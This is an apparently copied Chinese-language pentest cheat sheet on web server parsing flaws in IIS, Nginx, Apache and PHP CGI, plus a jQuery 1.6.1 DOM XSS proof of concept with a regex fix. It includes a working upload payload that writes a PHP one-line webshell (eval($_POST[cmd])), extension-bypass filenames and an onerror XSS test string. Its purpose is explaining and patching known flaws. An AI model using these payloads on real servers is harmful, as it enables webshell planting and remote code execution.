WEB解析漏洞汇总

IIS解析漏洞

1.目录解析:/info.php/info.gif??? #/info.php/目录下文件都被解析为可执行php脚本
2.文件解析:info.php;.gif??? #IIS6.0之前 ; 号后的不被解析,故解析为info.php,(.asa,.cer,.cdx都是IIS6.0可执行脚本扩展名)
IIS 7.0/IIS 7.5/ Nginx <8.03畸形解析漏洞
在默认Fast-CGI开启状况下,上传一个名字为wooyun.jpg,内容为
<?PHP fputs(fopen(‘shell.php’,’w’),'<?php eval($_POST[cmd])?>’);?>
然后访问wooyun.jpg/.php,在这个目录下就会生成一句话木马 shell.php
Nginx <8.03?空字节代码执行漏洞
Nginx在图片中嵌入PHP代码然后通过访问:xxx.jpg%00.php

Apache解析漏洞
Apache 是从右到左开始判断解析,如果为不可识别解析,就再往左判断.
比如 wooyun.php.owf.rar “.owf”和”.rar”?这两种后缀是apache不可识别解析,apache就会把wooyun.php.owf.rar解析成php.
如何判断是不是合法的后缀就是这个漏洞的利用关键,测试时可以尝试上传一个wooyun.php.rara.jpg.png…(把你知道的常见后缀都写上…)去测试是否是合法后缀。

PHP CGI解析漏洞 && Nginx解析漏洞
1.jpg/*.php 解析为php文件执行

Jquery dom xss跨站POC及修复

下载了jQuery JavaScript Library v1.6.1这个库。
用过下面代码引入jquery库验证 dom xss

<html>
<head>
<title>jQuery DomXSS test</title>
<script type="text/javascript"src="jquery.min.js"></script>
<script>
<!-- 标记html#par,传入的par会在页面中显示 -->
$(location.hash)
</script>
</head>
<body>
Hello,jQuery.
<p>测试URL:   1.html#foo<img src=1 onerror=alert(111111111111111111)></p>
</body>
</html>

直接在url中加入#foo<img src=1 onerror=alert(111111111111111111)></p>,或者把url放入页面中都可以触发。当图片发生错误的时候激活onerror事件。
修复:
/^(?:[^<]*(<[\w\W]+>)[^>]*$|#([\w\-]*)$)/, 改为 /^(?:[^#<]*(<[\w\W]+>)[^>]*$|#([\w\-]*)$)/, 仔细看第一个正则与第二个的区别,其实是把^<改成了^#<,也就是开始是只匹配<,修改后也是匹配到了#<。